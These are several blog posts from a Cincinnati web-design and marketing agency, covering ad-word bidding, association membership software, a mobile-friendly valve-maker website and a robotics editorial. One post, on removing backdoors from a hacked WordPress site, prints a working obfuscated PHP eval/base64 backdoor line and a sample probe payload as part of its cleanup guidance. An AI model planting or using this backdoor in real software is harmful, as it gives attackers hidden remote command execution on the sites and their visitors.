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What is Search Engine Optimization? (SEO)

Thu, Aug 02, 2018 @ 01:27 PM / by Chuck Lohre posted in Industrial Marketing, Process Equipment Marketing, Construction Equipment Marketing, Mining Equipment Marketing, Business to Consumer Marketing, Website Design, Internet Design and Development, Cincinnati Web Design Agency, Internet Development, Cincinnati Website Design, web development, Ad words


Great infographic on SEO from IEEE Globalspec Engineering 360

Screen Shot 2018-08-02 at 1.19.36 PM.

If you liked this post you might like this one, "Great website design is an ongoing process."
Guide to Web Site Redesign by Cincinnati Website Design Company, Lohre & Associates
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How do ad words work?

Sun, May 28, 2017 @ 01:48 PM / by Chuck Lohre posted in Website Design, Internet Design and Development, Cincinnati Web Design Agency, Internet Development, Cincinnati Website Design, web development, Web Design, Ad words


How do ad words work? They work by displaying your ad in response to visitors searching on specific keywords.

We break up a product offering into ad groups which focus on general product category keyword groups.

A typical average bid would be $2. If it’s higher, we review whether the click results in the visitor going to your “Contact Us” page, spends more time than average on your site (2 minutes) or looked at more than the average number of pages (3 pages). For keywords that result in higher site interaction, we are willing to pay more, up to around $3 per click.
How do ad words work?.jpg

A typical global industrial process equipment company may have 300 English, 200 German, 100 French, 100 Spanish and 50 Russian keyword phrases in their list. We have recently reduced the keywords to focus only specific product categories we want to focus on for one client. There are usually about 100 negative keywords, if these words are used in the search, our ad won’t be shown.  

Bidding is set to get in the top three spots.
You only get charged when someone clicks on your ad.
Quarterly we review a long list of suggested key words that Google provides and select relevant ones to add to our ad groups. Search engines create the suggested keywords from the keyword phrases related to the phrase searched on. Here's the list for the page above:
Google is used 80% of the time in the English-speaking world. Bing and others in the rest of the English-speaking world. Google isn’t used in Russia and China. We use Yandex in Russia. 
For example for “centrifugal separator” last April, Tema’s ad comes up number four (in this search). For some general numbers, it may have been shown 264 times and clicked on 31 times. Over half (17) may have interacted with the site (considered a “conversion” by us) the visitor looked at more than average site pages, spent more time than average on the site or went to the client's “Contact Us" page. It may about cost $2 per conversion which we consider to be a good ROI. We’ve limited our bid to $3 to be in the top three on the page. Google estimates the top position bid to be $5 and that is what Industrial Centrifuges may be paying. Oilfield may be paying about $3 per click. Here are the other suggested searches which we will consider advertising for.

Typically we send the client their keyword list four times a year to review. They review them and suggest any other keyword phrases we can do further research on. If they are a good fit for our ROI standards, we’ll add them to the program.
In summary, it is very hard to rank naturally (free) in search engines. You need to have pages that are optimized for each keyword phrase, links to your site from sites with high authority (like Wikipedia and the trade journals), and a share several blogs posts a week on those keyword phrases across LinkedIn, Google+, Facebook and Twitter. Paying for Ad Words is the most cost effective way to be sure your content gets found for relevant searches at the top of the page if you don't have someone who enjoys internet marketing, writing, research and forming and engaging with groups of visitors around the world. Here are the results we have had with one client that doesn't use ad words but invests in content each month.
Chart Illus 560.jpg
If you only use ad words and don't continually add relevant content to your site by blogging and social media, your traffic won't grow. It will just stay the same and you will continue to pay for ad words. The only way to grow your traffic is by advertising, placing articles in your industry's trade journals, blogging and social media. It's difficult but fun marketing. You need a passionate communicator that can do the work without supervision.
One thing we don't like about ad words is that they only convert 60% of what organic traffic produces. You would think it would be the other way around. It's part of the mystery of the "Black Hole" of ad words. Be careful out there, take every precaution you can to not waste your marketing dollars. Normally industrial ads only run 9-5 M-F in the time zone you're showing your ads in. As much as Google would like you to think otherwise, no one is purchasing a $25,000 centrifuge at 3 am on a Saturday night and we can't understand who's clicking on our ads if we run them at that time.
Where as on the other hand, great content is the gift that keeps on giving, for free. That's the way great marketing should be. We're afraid that many companies' marketing departments only do ad words just so the C-Suite sees their ad and thinks the company's marketing is working well when it may have a lower ROI than good inbound marketing with great content.
If you liked this post you might like this one, "Great website design is an ongoing process."
Guide to Web Site Redesign by Cincinnati Website Design Company, Lohre & Associates
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Building the Best Association Management Software and Website for your Organization

Mon, May 08, 2017 @ 12:07 PM / by Myke Amend posted in Website Design, Internet Design and Development, Cincinnati Web Design Agency, Internet Development, Cincinnati Website Design, web development, Web Design, association management systems, membership management software, membership management systems, Association Management Software, membership websites, association websites, association management websites


When it comes to selecting the right association management software, there are about as many software solutions out there as there are specific needs.

When we began our latest project, each of us had many association, organization, chamber, community, or other membership-driven sites behind us. Each, we've found, has its own unique set of features, hurdles, costs, and applications which need to be to matched to an association's unique way of operating:

Differences in Association Management Software (AMS) Needs

Some organizations want members as site users in order to serve members-only content and create members-only areas or features. Others would rather not have their members plugged into the site and would prefer to leave all content open - except maybe a file library or hidden forum that is for members or board members only. Some organizations, aside from having an online store and an online events calendar, prefer to do things the old-fashioned way - with magazines by snail mail, member lists on spreadsheets, and chapter listings laid out as tables. Lastly, there are some organizations who want it all and more for their members, administrators, and organization as a whole... which pretty much sums up our recent success at one (for now) be-all/end-all mother-of-all-association-management-websites project.

Commonalities in Association Management Software Needs:

As varied as these organizations, and their needs are, there are a few things we've found they all have in common:

  1. The need to grow by building membership - Most associations would want their membership site to entice visitors to seek membership, convert visitors to members, and to to make the application (and payment) process as easy and quick as possible.

    Membershipworks Membership Management Software payment screen

  2. The need to reduce costs - Administration for most organizations is built of board members, chapter leaders, secretaries, web developers, trained owlbears, and accountants who are working either as volunteers, paid employees, or contractors. Having the best website for the organization means less time spent on making rosters, tracking members and their payments, sending renewal notices, building spreadsheets, assembling and mailing newslettters, taking dictation for classified ads, keeping email lists, meeting in-person or by phone, updating calendars, requesting/making website changes and updates, gathering leaves for smoke signals, and all those other things that quickly turn membership money into expense payments.

    Membershipworks Membership Management Software sorting and searching interface.

  3. The need to monetize their websites in some way - Whether selling merchandise, memberships, sponsorships, special access, classified ads, job postings, resume postings, event tickets, passionate yet longingly-remorseful kisses, or ad space - most organizations would like for their website to pay for itself, or better-yet, bring in additional funds. To some, just having the website, and providing enough content to entice and retain members is enough to justify having a website, and they are right. Going it without *any* website would be insane. Most associations, however, would prefer as many added ways for their site to earn money as possible.

    Membership Management Software Integration with Wordpress and Woocommerce

  4. The need to post events - Above all other things, organizations tend to operate on events. Even if the bulk of an organization's budget comes through membership, or even if the events are not very profitable, access to events is often a major reason people become and remain members. Being able to quickly add events to  website, whether through HTML updates, blog posts, or an actual event calendar is what most organizations would prefer. It is even better if they can sell tickets online, and better still if they can easily make lists of attendees and send email to event registrants. Better still is being able to log dinner preferences and seating preferences, offer different rates to non-members or by membership level, and allow special discount codes.

    Membership Management Software Online Event Registration and Ticketing

  5. The need to post news online - Being able to get news out more quickly than a monthly or quarterly printed newsletter would, and more-reliably than email lists, is often important. Being able to put that news someplace only members can access can be also incredibly handy. Saving time, postage, printing costs (and trees) is an added perk.

    Membership Management Software Integration with Wordpress

  6. The need to consolidate -  Some associations feel they get along just fine through a patchwork of HTML websites, social media pages, externally-hosted stores, printed lists, cuneiform tablets, online storage accounts, online meeting services, document-sharing accounts, external mail services, external ticket sales & events management services, and a tangled web of cloud services which (along with important files) may or may not be around tomorrow or next week. Some, mainly those who need only one or two of these things do actually get along fine. Being able to pull these services together into one place, owned and managed by the Association is a time saver, can save a lot of money if paid cloud services are being used, and reeduce the need for worry over external services changing rates or disappearing overnight. Always remember: The Cloud is just someone else's computer.

Cloud computing comic by xkcd

Comic strip by XKCD.com


Searching for the Right Association Management Software

The above makes for a quick checklist of the many things to consider before you go in search of a good Membership Management Solution.

  1. Growth - The ability to encourage visitors to join through any number of incentives, with an intitial sign-up process that is fast and easy.
  2. Cost Reduction - The ability to save money on administrative costs, labor, and services through smart automation of membership management, event registration, classified ads and other association features.
  3. Monetization - The ability to offer products, advertising and services, and to take online payments for these. 
  4. Events - Having a good events calendar, with online registration for each event, online payments, automatic receipts, auto-generated guest lists, and online registrant management is great for any organization.
  5. News - Sites should provide the ability to educate and inform visitors through news postings and galleries. At the very least a site should allow some way to make announcements quickly as needed.
  6. Consolidation - If your association members or administrators need to use a number of services and sites on a regular basis, it might be time to upgrade.


For our build, we wanted all of the things... and more

The original Retail Design Institute website was a monstrous feature-heavy undertaking consisting of many combined programs from around the internet, bound together in a CodeIgniter base. Some people still like to use CodeIgniter, but I have found over the years that, like other things built so incredibly open-source, it is far from plug and play, and it is really easy to end up with a mess of steadily-building (and unknown) vulnerabilities and incompatibility issues. We took over maintaining that site a few years ago, and just keeping it running, let alone making use of it, was becoming expensive.

The website was steadily becoming more patch than software. PHP updates and server security changes could at any moment cause some or all site emails to stop sending (such as password reset emails, receipts, or other important notifications), or lead to some other cascading failure as a result of the site being old beyond its years. Sure, this led to a lot of work for us, but in that it led to a lot of expense, work, and frustration for our client. We prefer to stay in business by keeping our clients happy. Steady business relationships are priceless.

We needed to replace the site, and soon - but we also needed to replace the old site with the perfect site for our client. We needed to give the Institute the features they had, the all features they needed, the security, the flexibility, and the scalability at a price that would not break their bank. We also needed that site to be easy to upgrade and update without developer knowledge, so they could look forward to reducing their site upkeep expenses (or at least use that money for site improvements rather than site fixes).

Managed Solutions over Open-Source Solutions

We looked through many membership software solutions, many... We knew that we were looking toward a managed solution, because that saves the customer money on regular security and other software patches. Managed means an army of developers and troubleshooters working for us, and for our client, day and night.

We found open-source solutions and self-hosted solutions that we trusted as far as software reliability goes. Out of these, there was a Woocommerce-based one that was the most appealing to us... but keeping all of that member data safe becomes more of a concern in such cases. Though Wordpress and most things wordpress are updated diligently, and easily monitored with plugins such as Wordfence (which we use on *every* Wordpress build we do), it is so much better to have all of this information hosted someplace where it is regularly monitored in shifts. Waking up to find that your site was hacked, or that your site has been down all night, does nobody any good.

Out of all the managed solutions, we found that MembershipWorks Membership Software & Websites for Groups and Membership Software by Wild-Apricot were two of the more feature-heavy, more well-documented, and more flexible systems. An added bonus was that, like the Woocommerce solution, either could be easily integrated with Wordpress CMS... which was very important to us.

When it Comes to Association Sites: Why Wordpress?

We won't offer our customers proprietary solutions that only we can fix, control, and/or update. We also like to avoid using software that is overly-complicated, not widely supported, or anything else that might become an inconvenience for us or our clients. Offering our clients full control over sites that can be worked on and administered by the client in-house, is a large part of our appeal.

For this, we like Wordpress. It has been a great solution for decades. We know it, and thousands of its plugins and themes, intimately. We also save our clients a lot of money by being so specialized, so incredible at that one very-important thing (and only somewhat magnificent at all of the others).

Wordpress offers the sort of scalability that few other platforms can. There are plugins for most everything you can ever think of - and if you find that there is not yet a plugin, they are pretty easy to write. We have a whole list of handy plugins that go into our builds immediately - plugins for duplicating posts and pages, plugins for adding custom css and functions that can be carried theme to theme, plugins for finding and replacing information site-wide, plugins for ecommerce, for security, for customizing roles and access, and more.

Pricing of Association Management Software and Services Varies Greatly

Our findings:

One of the first things we looked at (while we were looking at features, functionality, and reviews) was pricing. That hunt was not very much fun, but it was a very essential part of making our final decision.

Finding so many services that required a potential customer to call, write, or submit contact information in return for pricing was ...annoying. It is hard to compare services or prices when over half of the websites offer no information beyond marketting babble and buzzwords, and require giving up email addresses or phone numbers to continue. We wanted to do good research and get all of the information, so: Many fake or junk email address entries and a lot of searching elsewhere for information (reviews and articles on external sites) did eventually give us the results we needed.

Reign of the Dinosaurs:

From our search, we found that many services were *really* pricey. Some of the priciest ones, were likely only still in use only because they have been around for a long time. Their interfaces were clunky with little room for customization, their directories were hosted on back pages within the service provider's domain, and they offered little functionality other than hosting a for-pay member directory that the client association could not easily take with them elsewhere. These directories, used mostly for Chambers of Commerce and Business Associations, do not seem to have evolved much since the 90s. The same can be said for the software behind them.

Then there were the newer, less-expensive, more well-developed and feature-rich services. Development in this area just makes sense, so it comes as no surprise that better and cheaper can exist in the same solution. Association sites are good money for developers and associations alike, and offer valuable services to the members.

A number of the more reasonably-priced (and newer solutions) looked good at first. The solutions we found were, for an orginazation with between 800 and 2500 members/records, ranging from $50 to $350 a month... seemingly. Some charged very high monthly percentages on top of transaction fees. Others had a seeming innocuous (+ $0.45 per member above 500), or charges for added functionality or services that were very key associate management features (such as emailing members, or support).

Our decision:

We were very fortunate to find that two of the services we were still considering were priced in the $130 per month range for 2500 members or less, and were also very straight-forward in their pricing, with no hidden fees, no misleading pricing scales, and no processing fees. Both offered plugins that would allow them to be integrated with a wordpress website, which would allow us to offer far more functionality, flexibility, and features than any fully-hosted solution could offer.

We were now down to Wild Apricot, and MembershipWorks - which would have been a much tougher choice if the Institute wasn't determined to have administrators for each of its chapters, and subsites for each chapter for most every aspect of the site.

Membershipworks not only offers the ability to set up multiple administrators, but the ability to shape the visitors experience by what chapter they are in or what membership level they have. Wild Apricot required multiple accounts for chapters. Multiply 15 times $130 per month no matter the volume discount, and that was a no-go for us. Add that we wanted our data for different chapters to be seperate, but together under one account, and MembershipWorks was a clear winner.

The end result was a membership website with:

  • 15 unique membership types/levels, each with the ability to receive payments manually, by credit card, or as recurring payments.
  • Easy signup and on-site payment for members and applicants.
  • Member's only content areas (such as resource libraries, ebooks, and file sharing)
  • Members-only additional features (such as the ability to message or contact members through the directory, discounted rates for classified ads, resume postings, merchandise, and event tickets)
  • 15 chapter sections each containing their own news, photo galleries, contact pages, file libraries, and events calendars
  • The ability for chapter administrators to easily manage and update their sub site pages and information.
  • The ability for chapter administrators to post articles, galleries, and events for their chapter's sub site.
  • The ability for chapters to post their own events (and receive money to their own Paypal pro, Stripe, or Authorize.net account)
  • Classified ads such as job postings and resume postings (free for members, paid posting for non-members)
  • An online store for selling physical merchandise and digital downloads (with special pricing for members)
  • A membership database that can be easily searched, updated, imported, and exported by chapter administrators.


You can take a look at the website by clicking the image below (though you will not be able to see many of the members-only features and content without joining). If you are interested in having a closer look from the members' point of view, please contact us. We'd be happy to show you around.


Membership Management Software Integration with Wordpress


Thank you for reading, and stay tuned.

Next post we plan to outline the ins and outs of this project from design to integration to custom hooks and functions to pull all of this work together.


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Removal of Back Doors from a Wordpress or other PHP-Driven Site

Wed, Apr 20, 2016 @ 03:09 PM / by Myke Amend posted in Website Design, Internet Design and Development, Web Design Company, Cincinnati Web Design Agency, Internet Development, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Design Agency, Advertising Agency


Occasionally, when we are working on a new client's website, whether that is redesign, minor changes to make it responsive/mobile-friendly, repairing a broken site, or moving it over to our hosting, we'll run across a few previously-unknown issues. Actually we've come to expect this.

When people leave their old hosts or developers, there is usually a reason. We've had clients come to us with sites that were patched together to operate in substandard environments, and sites built on CMS that are no-longer supported - patched together over the years to operate in standard environments to the point where there is more patch than there is software.

We also tend to gain clients who want their site hosted someplace where their site is not one in a few hundred, or one in a few hundred-thousand sites hosted. They can't afford for their site or email to go down, and to go a day without notice.

Sometimes we're just liberating a client from a pointlessly expensive or otherwise problematic situation.

This is a story about in many, many site moves of this past year.... all of them interesting in their own way, but I took some extra time out to document this one...

Before the Big Move

Generally, if their site is not working - I'll try to fix their site before migrating it over. I'll at the very least update the software and run a security scan before downloading and exporting. In some cases, however, where the server/host is the problem, the site cannot be worked on in place.

How to be a Bad Web Host: Taking the "Control" out of "Control Panels"

A new client of ours had a website that had suddenly stopped working. When I took a look at the control panel, well... first thing I found was that I did not like the Host's control panel - it was a proprietary mess, laid out horribly, very limited in functionality compared to most, and many of these functions did not work at all. Another thing I found was that the client's files were still there and intact, just that PHP processing had been turned off for the entire site.

Typically, when a host just turns functionality off for a site, it is a pretty-good sign that the site has been hacked, or is otherwise misbehaving. Hosts will switch off/disable infected sites or sites that are causing issues with the server, but... one would hope that if they switched it off, they would have noted why. In this case they didn't email the customer to tell them that they disabled this site, one the host was still billing for. I suppose making notes was also just too much work, because they apparently had no idea why it was turned off, and non-ceremoniously turned it back on.

By the time they managed this, I had already downloaded the site, and exported the database, but it was good to have the site working again while we went through the process of transferring the domain. When I ran into some problems with the domain administration in their control panel not working, I read up about the host. From there I knew was going to be a very and slow painful process... which it was. I think the former host's only strategy for keeping customers is to make it very hard, near-impossible for customers to get away.


Having mentioned my willingness to go through ICANN to make the switch happen, suddenly we had cooperation and the domain was unlocked. I still had to wait another 7 days for the former host to not contest the final transfer, because of course they were not going to use their energy to approve it - but that gave me a little time to set the site up in its future home.

By then, I had already created a new database, imported the tables, set up database users, set their permissions, pre-configured the domain pointing, and uploaded their site so that everything could be perfectly in place when the domain switched hands.

Watch Where You Put that WebSite - You Don't Know Where it's Been!

Since the hosted site was not working on the server when I downloaded the site and exported the database, and I hadn't the chance to upgrade the software or run a security scan, I decided it might be good to look through some of the files before the site went live. Looking for possible backdoors is pretty important at this stage, because we definitely don't want to bring those over to our server.

When doing this, hunting for back doors in-particular, one would think the easiest solution is to look for the most common signature: Base64_decode, but as you see below (what I found on the old site) - this is often scrambled like a sunday morning word jumble, strtolower is used to select characters from the jumbled letters in the first string into commands.

PHP Alphabet Soup

How this word jumble works is to use the help of the command 'eval', to make this:

<$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n764b3b'])) {eval($s21(${$s20}['n764b3b']));}?>

become this:


With this in place, a bot or hacker, can send parameters through HTTP POST such as: n764b3b='ZWNobyAnMW9rMScuIlxuIjtleGl0Ow==', which becomes: base64_decode('ZWNobyAnMW9rMScuIlxuIjtleGl0Ow=='), which becomes: 'echo '1ok1'."\n";exit;'

Now whoever has sent this command knows their exploit is in place, because instead of the page they are 'visiting' is a blank page that just says "1ok1".

This allows them, and others know that they can send pretty much any command they please through your site. This can include writing new files, using your mail server, any number of things, but any number of these typically ends up in damaging your domain's search reputation or your domain's email reputation. In most cases I've found SEO Spam (mostly Pharma Hacks), Malicious Redirects, but in some cases I have found Malware Delivery Systems, Attack Site or Referrer Spam automations, Phishing Pages, and Email forms to send Spam by. Wordfence covers that list very well here.

Searching... Seek and Destroy!

When searching for more instances of this infection, you could do a search for the whole PHP script - but you'll likely only find the one infected page that way, the one you are already viewing. There could be hundreds of infected files in root folders, upload folders, theme/template folders and many other places.

In some cases, the original word-scramble string changes order and often name and the order in the strtolower command changes accordingly, and there could be twenty to a hundred parameter names for the the hacker to use on your site. In others, the variable names change, or there are multiple parameters that can be passed to the site (a different script for each one).

There are ways through SSH to use commands such as 'grep' to seek and replace this section of code out with wildcards. It can be handy in a pinch, if your host allows you this level of access, and if you formulate your command very well. Otherwise: in one shot you could accidentally remove many important lines of code from many important files across your domain; You could also end up leaving snippets of code in place that also end up breaking the site. The linked example is a how-to on fixing an infected Drupal site, but the same technique could be used for just about any CMS. Of course if you have a Wordpress site that is up and running, and can install Wordfence, that is one of the quickest ways to find and remove these infected files.

One downside to working on the site in place on the server, is that backdoors could be exploited while you are fixing the site. Missing just one could put you right back in the same place again weeks, days, minutes later. If you are using Wordfence - just do a new scan after you fix the infected files and you should be fine. If you are seeking out the files and changing them by hand, you should download the site and edit files locally. You can upload the fixed website in place of the infected one when done and know that no new files were infected while you were working.

When doing this, I tend to start by searching for 'eval' - it'll bring up a number of false positives, because eval is fairly-commonly used, but it will also bring up all the infected files for this type of infection. Once you've found all these files, then look through those files and look for commonalities in the infection other than 'eval'.

A Common Thread... or Rather String...

In this case, I found that all of the infected files did use two common string names: $s20, and $s21. Both are present in all instances, so I only needed to look for $s21 from here, and this filters out all of the false positives.

Finding Malicious Scripts in a Hacked Website with Dreamweaver, similar Web Design / Web Development tools

Above: Searching an entire folder with the "Find All" command (do not do "Replace All"). This will open all files infected. You don't need an expensive WYSIWYG, but it is nice to have this one. Any open-source text editor with a Find/Replace function should do. If you are looking for an open-source WYSIWYG, such as Brackets, that should also do.

I found around 40 files that were infected, so I just opened them all and cut this line of code out by hand. If there were more of these, say hundreds (which I have found before) - I'd have put the site into a test/quarantine server, and used SSH to search and replace.

Of course when sites are in Wordpress, there are a lot of shortcuts you can take when fixing by hand, which come down mostly to where the infections reside:

  • If the infected files are mostly in "uploads", one can delete all the php files found in that folder and subfolder, and put a blank "index.php" file back into each folder. There is no reason php files should be in this place. Searching this folder on your mac or pc means just being able to highlight all the found php files and delete them.
  • If they are mostly in the wordpress install itself: Delete the admin and includes folder and upload new. Upload new versions of the files in the root folder. Delete any files in the root folder that do not belong (php files that were not replaced by the new wordpress files, excluding config.php). Check config.php for malicious code.

    In the above: You've just saved yourself from searching the root, admin, and includes folder. This should leave only the wp-content folder, for which you've already taken care of the uploads. The upgrades folder should be empty, so only the themes folder remains.
  • Delete Themes. I tend to delete every theme I am not actively using. This means less themes to search for infections now, less themes in the future to keep updated, less themes to provide vulnerabilities to new/unknown exploits.

With those steps, you've saved yourself a lot of time searching through folders and files...  but, if your Wordpress site is hosted, and running, just install Wordfence and run the scan. You'll save a lot of time now, and later.

Wrapping Things Up

If there were backdoors found on your site, there is a chance that the site could have been used for more than just running commands through. You've stopped them from getting in this way, but there can still be email forms and phishing pages, other remnants of the infection you'll want to find and get rid of.

Don't expect the created or last-modified dates on these files to be accurate - these can faked.

Your best bet is always being very familiar with whatever CMS you prefer to use - familiar enough to know how to wipe most files clean, replace them with new, and spot files that are out of place.

I choose to use Wordpress in most cases because of my familiarity with it. I install, design, and manage a lot of Wordpress sites - and have been doing this since its earliest versions.

In other cases, I often recommend managed CMS solutions where such security headaches are for the providers of the service (we build a lot of Wordpress sites, but we use Hubspot for ours, and offer development and maintenance of Hubspot sites, as well as managing Inbound Marketing campaigns). There are by the month fees for these, but in many cases these can come with incredibly handy Marketing tools for the money, and save you the cost in time or money that occurs when your site is hacked.

Consider how You Might have been Hacked and Prevent It

Oftentimes, this could be as simple as having installed a plugin or a patch. Here are some tips to avoid that:

  • Download plugins only from respected sites that monitor for malware plugins.
  • Try to find plugins that have thousands of active users and are regularly updated.
  • Don't add a patch you've found on the web unless you are sure of what it does and why, or at least make sure the site you found that patch on regularly monitors for people posting malicious code as fixes.
  • Tighten up security: Add a security suite if one is available for your CMS. Make sure your .htaccess is solid against browsing of folders and that it blocks forbidden files.
  • Make sure your own code sanitizes strings/escapes special characters from input and from HTTP POST requests.
  • Make sure your CMS and plugins are kept up to date.
  • Check on your site regularly for anything out of place.
  • Search Google with Site:yoursite.com to see if there are phishing or pharma pages on your site.
  • Consider any new problem that did not occur with updates or changes to be a possible hack.
  • Connect Google Search Console/Webmaster Tools to your site as a means to monitor for infections or other problems.
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Mobile-Friendly Website Design with an Image-Based Menu

Mon, Jan 25, 2016 @ 09:16 AM / by Myke Amend posted in Internet Marketing, Process Equipment Marketing, Website Design, B2B Advertising, Internet Design and Development, Graphic Design, Cincinnati Web Design Agency, Cincinnati Advertising, Internet Development, Advertising Design, Cincinnati Advertising Agency, Advertisement Design, Cincinnati Website Design, Advertising Agency, Web Design


When Lohre and Associates began this project, Roto-Disc, Inc. had a standard HTML web site that they liked, as much as we did, for a number of good reasons:

  • It was built to reflect the look and feel of Roto-Disc's product catalog about as closely as could be done with a website. It matched Roto-Disc's catalogue so very well that the site itself felt like well-designed and well-planned literature.
  • Pages were designed, not as a whole in cookie-cutter fashion, but for their purpose. Much like a printed brochure, everything was cohesively-branded as one well-collected work - yet each individual page was custom-tailored to best-present the products and services on that page.
  • The existing outline was near-perfect. Divisions between pages and topics were pretty spot-on, easy to navigate and easy to follow.

Web Design for Rotodisc CincinnatiAbove: The standard HTML site that was.

It was however, as sites made years ago tend to be: static in size and format, with no mobile menus or even alternate mobile version, and no CMS or other way to dynamically-generate new content - all of which we know to be a problem today for these reasons:

  • Google now gives better indexing for mobile-friendly sites, and penalizes sites that do not have mobile-friendly design or versions.
  • Engineers and other decision-makers in the Process Industry cannot easily view these sites while they are out in the field, which is about the time that needs for new equipment tend to arise or happen to be revealed.
  • Sites not viewed by mobile users do not get shared by mobile users, who make up for an increasingly-large percentage of internet viewers.
  • Sites that are blogs, WIKIS, or otherwise CMS-driven, have a sizable SEO advantage over most sites that are not. Growing content and fostering inbound links are incredibly-important to SEO. Blogs also enable a company to position itself as an industry leader, and give them the tools to build and maintain better customer relationships.

Another need to consider was that Roto-Disc's Product line would soon be expanding. In addition to the Heavy-Duty Spherical Valves, Lighter-Weight Spherical Valves, Sanitary Spherical valves, Inflatable Seal Spherical Valves, Heavy-Duty Clean Flow Diverters, and Airlock/Double-Dump Valves Roto-Disc already had a new section for Flange Adaptors, Wedge Inserts, and Stub Adaptors that needed to fit into the current image-based menu. Soon Roto-Disc would need to also add Process Transitions, and Splitters/Convergers, as well as the Flange Adaptors to this small swatch of internet real-estate.

From This We Created A Short List of Initial Project Goals:

  • Emulate the general look and feel of Roto-Disc's catalog, which we had recently updated for the new product line.
  • Preserve the image-based menu and allow for more menu items to be added.
  • Make their site completely responsive and mobile-friendly.
  • Make navigating and reading the site easy for *all* sizes: large screens, smartphones, *and* tablets.
  • Build it as a CMS (Wordpress in this case) for blogging, scaleable SEO, Inbound Marketing, and ease of content editing.
  • Include the best SEO plugins available so that the SEO approach can be updated for new search rules and algorithms.

Which Enabled Us to Build This List of Challenges:

  • The new catalog was rich with very in-depth charts for most every product. Some of these would require tables with at least 15 columns. Large tables are very difficult to display on mobile devices and harder still to display in a size and format that is easy to read and does not require scrolling or turning the device to horizontal view.
  • We wanted the image-based menu to look good on desktop systems, and did not want to lose it to a simple mobile menu at tablet and mobile sizes.
  • The image-based menu would require dropdowns so that viewers would have direct access to the spefic product information they were looking for.
  • We needed dropdown menus to work for desktop, laptop, tablet, and smartphones. Since touch devices do not have a hover state for links, we needed to make the menu expand and contract when clicked, not moused over. This was a major consideration when it came to tablet users, because the image would present somewhat like the desktop version, but with no mouseover capabilities.
  • We wanted to preserve the image menus even in the mobile version if possible.
  • Having "sticky" always-on-top navigation is always nice when it comes to desktops and laptops - We wanted to find a way to do this for both the header and standard navigation, as well as the image navigation. We wanted to do this without these items completely consuming the available viewport. We also wanted the sticky image menu to not be sticky on tablets because of limited space.
  • For tablet users who would lose this sticky navigation, we needed alternatives, such as an easy way to return to the navigation and/or adding navigation also to the footer of the pages.

Our Solutions:

Web Design /Website Design for RotoDisc Cincinnati

Wide-open: The site design is based on the Brochure, but made for web, driven by Wordpress, with an image menu plugin for ease of editing the image-based menu.

Web Design / Website Design for Rotodisc Cincinnati

An Additional Consideration: For Desktop users, the image links display an instruction when moused over, letting them know that clicking will open and close the submenu (though the submenu will go also away on its own when no longer in focus).

Mobile-friendly Web Design / Website Design for Rotodisc Cincinnati

The benefits of using a plugin and not hard-coding this aspect: All of the above menu and Submenu items can be added, removed, or edited through the control panel.

Mobile-friendly Web Design / Website Design for Rotodisc, Cincinnati

Two Sticky Menus in motion: The Image menu slides up onto the header when the page is scrolled, and stays - leaving the most important items of both sets of navigation always at the top of the screen for easy access.

Mobile version of Web Design / Website Design for Rotodisc Cincinnati

Not so sticky: On smaller-sized screens not quite small-enough for the mobile menu the image menu items switch size to fall into three rows of three icons. The menu no longer sticks at the top so that content can be seen when scrolling.

Web Design / Website Design Tables for Rotodisc Cincinnati

Large Tables: These charts do not seem like they will fit well on a smaller screen... especially not on mobile, not even in landscape aspect. What can be done?

Mobile width view of Web Design / Website Design for Rotodisc Cincinnati

AHA! Jquery to the rescue: By rotating the table header text 90% and re-scaling those cells accordingly, we have a LOT more space to work with when presenting these tables on mobile devices. No scrolling necessary. Some strategic line-breaking in the product number column and Viola!

Mobile width view 2 of Web Design / Website Design for Rotodisc Cincinnati

The Mobile Menu: It seems as though the image menu has been lost... and that would be sad. ... but we can do better!

Mobile width view of Nav menu for Web Design / Website Design for Rotodisc Cincinnati

Huzzah!: There is that image menu again, not lost afterall.

Mobile menu of Web Design / Website Design for Rotodisc Cincinnati

The "Open/Close" Instructions: They are pointless here, because you cannot mouseover on a tablet or other mobile device, but they won't be seen for this reason. Plus: They are still handy if you like keeping your browser window very small.

Mobile menu view for Web Design / Website Design for Rotodisc Cincinnati

Tricky: Submenus on an image menu in a mobile menu. I can't think of any place I have seen this before - actually *many* aspects of this project were something completely new.

Mobile width view 3 of Web Design / Website Design for Rotodisc Cincinnati

Falling in line: Divs and most tables break apart - images set themselves to fill the viewport, and horizontal content becomes vertical in order to keep images large enough to view, also keeping text from being crammed awkwardly on the smaller screen.

Below: You'll notice the menu does not stick to the top in mobile view. Sticky menus on mobile, especially for sites with many pages, are not a good idea. If the menu extends beyond the viewport, and does not scroll - then the only part of the menu that can be accessed is the part at the top of the screen. This will leave visitors stuck and incredibly frustrated. You can in some cases make another scrollbar just for the navigation, but if it is not seen visitors will think they have arrived at a broken site and move on.

Mobile width view 4 of Web Design / Website Design for Rotodisc Cincinnati

Guide to Web Site Redesign by Cincinnati Website Design Company, Lohre & Associates

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Robots, Cobots & the American Dream (Metalworking Equipment Marketing Ripe for Inbound)

Wed, Nov 25, 2015 @ 12:25 PM / by Chuck Lohre posted in Inbound Marketing, Internet Marketing, Metalworking Equipment Marketing, Website Design, Business to Business Marketing, B2B Marketing, B2B Advertising, Internet Design and Development, Web Design Company, Cincinnati Web Design Agency, Internet Development, Business to Business Advertising, Cincinnati Website Design, web development, Website Design Company


New Equipment Digest November 2015, Posted Date: 11/5/2015

Robots, Cobots & the American Dream Editorial by Travis Hessman, Editor-in-Chief

equipment marketing image : robotsIn just three years, an improbable new technological concept emerged from nowhere and completely took over the market. In the process, it has given manufacturers across the world new capabilities, powerful new tools, and new hope for the future.

I met my first industrial robots three years ago at IMTS 2012. I had written about them for years, of course, and had read just about everything there was to read about them and their long, slow evolution.

But 2012 was my first real-life encounter; my first chance to really get in and see what they could do. 

It wasn’t exactly what I’d imagined. 

I was hoping to get up close and personal with these machines and get a good look at their mechanics, their bright paint jobs, and awesome designs. 

What I got was a lot of fences, a lot of barriers, a lot of distant glimpses of the great machines in action. I wanted a wild safari, but I ended up with a tame zoo. 

The one exception, tucked away in the back of a quiet hall, was Universal Robots’ brand new collaborative robot. 

The Danish startup’s bots were a bit of an oddity at the time. They ran without the cages and barriers of traditional robots, in fact waving their arms through pre-programmed dances right over the heads of visitors. The UR staff drew crowds and shocked gasps by letting the robots run right into them on purpose. 

